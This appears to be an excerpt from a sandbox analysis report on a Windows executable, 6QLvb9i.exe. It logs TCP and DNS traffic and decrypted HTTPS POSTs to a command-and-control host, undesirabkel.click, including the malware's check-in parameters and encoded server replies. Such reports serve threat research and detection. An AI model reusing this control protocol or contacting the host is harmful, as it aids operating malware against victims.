Dec 30, 2024 10:35:03.873651981 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.873676062 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873709917 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873718977 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.873723984 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873780966 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.874164104 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.874768972 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.874802113 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.874810934 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.874814987 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.874859095 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.874864101 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.878307104 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.878350019 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.878355026 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.933234930 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.955491066 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.955535889 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.955591917 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.955599070 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.955612898 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.955663919 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.956531048 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.956543922 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.956559896 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.956564903 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.143079996 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.143124104 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.143210888 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.143557072 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.143567085 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.581765890 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.581835032 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.583051920 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.583064079 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.583280087 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.584543943 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.584698915 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.584724903 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:04.584789038 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:04.584796906 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.168693066 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.168787956 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.168843985 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.168931007 CET	49732	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.168946981 CET	443	49732	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.247467041 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.247514963 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.247606039 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.247884035 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.247903109 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.690936089 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.691057920 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.692722082 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.692738056 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.692943096 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:05.694425106 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.694566965 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:05.694600105 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.274089098 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.274174929 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.274235010 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.274399996 CET	49733	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.274421930 CET	443	49733	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.488492012 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.488512039 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.488579988 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.489089966 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.489099979 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.930999041 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.931129932 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.932336092 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.932343960 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.932543039 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.933538914 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.933635950 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.933660984 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:10.933721066 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:10.933727026 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:11.918987036 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:11.919064999 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:11.919138908 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:11.919365883 CET	49734	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:11.919377089 CET	443	49734	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.259767056 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.259805918 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.259891987 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.260328054 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.260345936 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.705878019 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.705981016 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.707629919 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.707642078 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.707848072 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:12.709537983 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.709654093 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:12.709661007 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:13.155767918 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:13.155844927 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:13.155915976 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:13.156246901 CET	49735	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:13.156266928 CET	443	49735	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:13.676661015 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:13.676700115 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:13.676790953 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:13.677089930 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:13.677108049 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.111262083 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.111372948 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.117950916 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.117974997 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.118164062 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.131128073 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.131993055 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132028103 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132133961 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132177114 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132308960 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132344007 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132477999 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132513046 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132678986 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132716894 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132878065 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132906914 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132927895 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132941961 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.132952929 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.132957935 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.133059025 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.133083105 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.133109093 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.133122921 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.133238077 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.133274078 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.142255068 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.142421961 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.142461061 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.142493963 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.142515898 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:14.142535925 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:14.142549038 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.172207117 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.172298908 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.172373056 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.173228979 CET	49736	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.173249006 CET	443	49736	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.227848053 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.227880955 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.227941036 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.228193998 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.228207111 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.659631968 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.659727097 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.661106110 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.661117077 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.661317110 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:16.662626982 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.662648916 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:16.662678957 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107184887 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107225895 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107255936 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107275009 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.107285976 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107294083 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107331038 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.107348919 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107372046 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107388973 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.107397079 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.107434034 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.107440948 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.111973047 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112001896 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112020969 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.112025976 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112071991 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.112076998 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112091064 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112127066 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.112289906 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.112301111 CET	443	49737	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:17.112309933 CET	49737	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:17.112313986 CET	443	49737	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 10:35:02.026314020 CET	60805	53	192.168.2.4	1.1.1.1
Dec 30, 2024 10:35:02.040095091 CET	53	60805	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 10:35:02.026314020 CET	192.168.2.4	1.1.1.1	0x3580	Standard query (0)	undesirabkel.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 10:35:02.040095091 CET	1.1.1.1	192.168.2.4	0x3580	No error (0)	undesirabkel.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Dec 30, 2024 10:35:02.040095091 CET	1.1.1.1	192.168.2.4	0x3580	No error (0)	undesirabkel.click		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

undesirabkel.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: undesirabkel.click
2024-12-30 09:35:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 09:35:02 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5alfs96nre9djpmkcort4537oe; expires=Fri, 25 Apr 2025 03:21:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZqVeoHVJhqupPsiDXtIdsiGIyhToS7snOEUykdnAazKTLMEGdT7ZOh4%2BfAI%2BuAgHIkhZp4gH6%2BakgyfbH0TUkyJWZreTJHcwAiZBWgUqWl4%2FpipyVua8UkMqwHLOFROWk25IUU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109995bfb4402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=598&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1815920&cwnd=182&unsent_bytes=0&cid=dc2d10e441bf2b03&ts=472&x=0"
2024-12-30 09:35:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 09:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: undesirabkel.click
2024-12-30 09:35:03 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 67 69 6c 69 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--ijcujmprgili&j=
2024-12-30 09:35:03 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=50cnjl4uc6540833t9hj0of7jo; expires=Fri, 25 Apr 2025 03:21:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Ohz%2Bj4tOg9KqEM5vwzHVZKCyxnMcasgVvkVKcF%2Fl%2BlL3YNh%2FQHBCkSzhDsL%2BGvdqS83WXJ7iG50%2FNpRTjZUSj7kWLDPE%2FC8sXaAV1y%2Fb1mtsR69iixeAdDrGOhieTnEwV4hyxA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa1099efec58c2f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1784&rtt_var=683&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=956&delivery_rate=1584373&cwnd=228&unsent_bytes=0&cid=128db2d71f7f7e2a&ts=445&x=0"
2024-12-30 09:35:03 UTC	232	IN	Data Raw: 34 39 39 34 0d 0a 45 4b 43 32 36 34 5a 43 6c 64 69 66 79 4a 58 70 62 38 74 49 2b 2f 46 4c 32 47 30 59 4c 44 74 2f 57 4b 7a 33 30 51 58 74 41 53 46 72 67 73 44 4a 76 48 61 35 2b 75 79 74 74 39 4d 62 75 54 32 65 33 57 6d 35 43 54 6f 57 58 52 34 30 33 35 4c 39 4a 35 74 73 41 79 72 47 31 34 66 31 4a 37 6e 36 2b 72 43 33 30 7a 53 77 61 70 36 66 61 65 4a 50 66 55 5a 5a 48 6a 54 4f 6c 72 70 71 6e 57 31 43 65 4d 7a 52 67 2b 4d 68 38 62 6e 7a 70 66 43 4d 43 71 6f 69 6c 5a 67 6d 73 41 41 36 41 42 6b 61 49 6f 37 4e 38 30 69 49 64 55 42 64 77 63 57 41 70 44 2b 35 6f 37 32 74 2b 38 74 56 36 53 6d 65 6b 79 65 2b 43 58 4e 45 55 78 63 38 7a 35 4f 37 64 59 52 6e 53 58 6a 43 30 6f 4c 70 4b 4f 57 30 2b 61 Data Ascii: 4994EKC264ZCldifyJXpb8tI+/FL2G0YLDt/WKz30QXtASFrgsDJvHa5+uytt9MbuT2e3Wm5CToWXR4035L9J5tsAyrG14f1J7n6+rC30zSwap6faeJPfUZZHjTOlrpqnW1CeMzRg+Mh8bnzpfCMCqoilZgmsAA6ABkaIo7N80iIdUBdwcWApD+5o72t+8tV6Smekye+CXNEUxc8z5O7dYRnSXjC0oLpKOW0+a
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 4c 37 69 67 43 71 61 74 66 54 4c 71 4a 50 49 67 34 4b 4c 7a 6e 66 68 4b 5a 71 6e 32 55 44 62 59 7a 4e 79 65 4d 73 74 2b 4b 39 6f 76 75 46 43 4b 6f 6c 6e 70 49 70 71 41 42 36 54 56 45 56 50 73 53 61 76 47 69 42 61 55 52 36 79 39 4f 47 34 79 6a 78 74 66 37 71 75 63 73 4b 73 57 72 42 30 77 6d 71 44 48 6c 61 56 41 78 36 30 64 75 71 4a 34 68 76 41 79 71 43 30 6f 66 6c 4c 66 65 6f 39 61 48 38 6a 68 2b 69 49 35 53 65 4b 62 63 46 64 55 31 5a 47 6a 44 45 6d 72 6c 6a 67 6d 35 46 63 73 4b 55 78 36 51 6e 37 2f 71 6c 36 74 53 4f 48 61 34 6d 6a 39 45 54 2b 68 41 30 56 78 6b 61 4e 6f 37 4e 38 32 2b 4b 59 45 42 35 7a 64 65 42 37 7a 4c 33 71 50 75 6e 38 70 6b 4c 72 43 53 54 6b 44 75 77 41 58 78 4e 55 42 59 7a 79 35 4b 33 4a 38 45 6a 52 47 71 43 6a 4d 6e 46 4c 66 79 32 39 Data Ascii: L7igCqatfTLqJPIg4KLznfhKZqn2UDbYzNyeMst+K9ovuFCKolnpIpqAB6TVEVPsSavGiBaUR6y9OG4yjxtf7qucsKsWrB0wmqDHlaVAx60duqJ4hvAyqC0oflLfeo9aH8jh+iI5SeKbcFdU1ZGjDEmrljgm5FcsKUx6Qn7/ql6tSOHa4mj9ET+hA0VxkaNo7N82+KYEB5zdeB7zL3qPun8pkLrCSTkDuwAXxNUBYzy5K3J8EjRGqCjMnFLfy29
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 48 75 7a 69 5a 6e 7a 75 32 42 58 78 42 56 42 46 36 67 4e 57 30 66 38 38 37 41 31 6a 42 77 49 72 75 59 73 4b 35 38 36 54 77 6e 55 32 32 5a 49 44 54 4c 72 5a 50 49 67 35 55 48 44 4c 49 68 37 78 71 6a 47 31 4e 66 63 66 62 67 65 51 67 2b 72 2f 35 6f 66 79 49 41 4b 30 34 6b 35 4d 68 76 77 35 77 52 42 6c 54 65 73 6d 4e 38 7a 2f 50 55 6c 52 35 67 4f 47 4b 36 69 37 77 72 4c 32 31 75 5a 4a 4e 72 69 62 5a 79 32 6d 33 42 33 39 4c 56 68 77 77 77 4a 43 35 61 34 64 74 51 47 44 4e 30 49 6e 6f 4b 50 32 33 38 36 37 2f 67 67 61 69 4c 4a 6d 53 49 2f 70 42 4f 6b 6c 42 58 57 4b 4f 6f 62 52 72 67 6d 77 42 52 38 48 61 68 2b 4d 32 74 36 57 7a 73 37 65 4d 41 65 6c 79 32 5a 38 67 75 67 52 77 53 6c 6b 61 4e 38 75 57 74 47 53 43 5a 45 6c 38 78 64 43 46 37 53 33 78 75 76 71 75 38 70 Data Ascii: HuziZnzu2BXxBVBF6gNW0f887A1jBwIruYsK586TwnU22ZIDTLrZPIg5UHDLIh7xqjG1NfcfbgeQg+r/5ofyIAK04k5Mhvw5wRBlTesmN8z/PUlR5gOGK6i7wrL21uZJNribZy2m3B39LVhwwwJC5a4dtQGDN0InoKP23867/ggaiLJmSI/pBOklBXWKOobRrgmwBR8Hah+M2t6Wzs7eMAely2Z8gugRwSlkaN8uWtGSCZEl8xdCF7S3xuvqu8p
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 32 5a 67 63 74 42 6b 36 55 52 63 45 65 73 6d 5a 38 7a 2f 50 61 6b 70 67 7a 4e 71 41 36 53 62 2f 76 66 4f 6e 2f 49 30 47 72 69 32 66 6e 69 47 33 43 6e 6c 50 58 52 63 6f 7a 5a 36 35 61 6f 55 6a 44 54 4c 46 7a 4d 6d 38 59 4e 43 32 31 4c 72 73 6d 52 76 70 4e 64 65 4b 61 62 30 44 4f 68 59 5a 48 6a 58 48 6d 72 74 76 67 47 78 48 66 4d 54 53 68 4f 45 76 2f 61 6a 31 70 50 71 41 41 71 49 34 6d 5a 34 74 74 67 74 79 52 56 4e 64 64 49 36 53 71 79 66 58 49 33 5a 2f 7a 64 53 4b 38 6d 44 6f 39 4f 54 71 38 49 64 4e 38 57 71 56 6e 53 6d 31 41 33 5a 46 55 52 77 32 77 4a 4b 32 62 6f 64 72 55 58 50 47 33 49 6a 71 4c 2f 61 2b 2b 4b 2f 7a 6a 41 6d 76 4a 64 6e 64 61 62 30 58 4f 68 59 5a 4d 68 33 37 31 35 4a 64 7a 33 77 4e 61 34 4c 54 68 61 52 34 74 37 62 2b 70 76 2b 45 43 36 41 Data Ascii: 2ZgctBk6URcEesmZ8z/PakpgzNqA6Sb/vfOn/I0Gri2fniG3CnlPXRcozZ65aoUjDTLFzMm8YNC21LrsmRvpNdeKab0DOhYZHjXHmrtvgGxHfMTShOEv/aj1pPqAAqI4mZ4ttgtyRVNddI6SqyfXI3Z/zdSK8mDo9OTq8IdN8WqVnSm1A3ZFURw2wJK2bodrUXPG3IjqL/a++K/zjAmvJdndab0XOhYZMh3715Jdz3wNa4LThaR4t7b+pv+EC6A
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 66 6f 46 63 55 70 61 47 54 2f 42 6c 4c 4a 68 6e 57 52 4b 59 4d 7a 5a 68 75 77 6f 2f 72 76 35 72 2f 71 4e 41 61 4d 72 6e 70 30 6e 73 6b 38 30 44 6c 34 46 65 70 62 56 6b 6e 65 55 63 56 56 2f 34 39 6d 47 70 44 2b 35 6f 37 32 74 2b 38 74 56 36 53 4f 4c 6c 79 53 6f 42 6e 31 41 56 68 34 6f 7a 35 69 34 64 59 68 73 52 33 58 4f 30 6f 62 69 49 66 4b 77 38 61 33 79 67 41 4b 6c 61 74 66 54 4c 71 4a 50 49 67 35 33 46 69 6e 5a 6c 72 31 73 6d 58 67 44 62 59 7a 4e 79 65 4d 73 74 2b 4b 39 71 66 79 41 43 61 6b 6d 6d 5a 63 6b 75 68 31 31 53 56 34 55 4d 64 79 66 74 47 43 45 61 30 68 39 78 4d 61 46 36 6a 4c 79 71 4f 2f 71 75 63 73 4b 73 57 72 42 30 78 2b 39 48 32 70 4e 47 79 77 73 7a 59 4f 34 61 6f 4d 6a 58 44 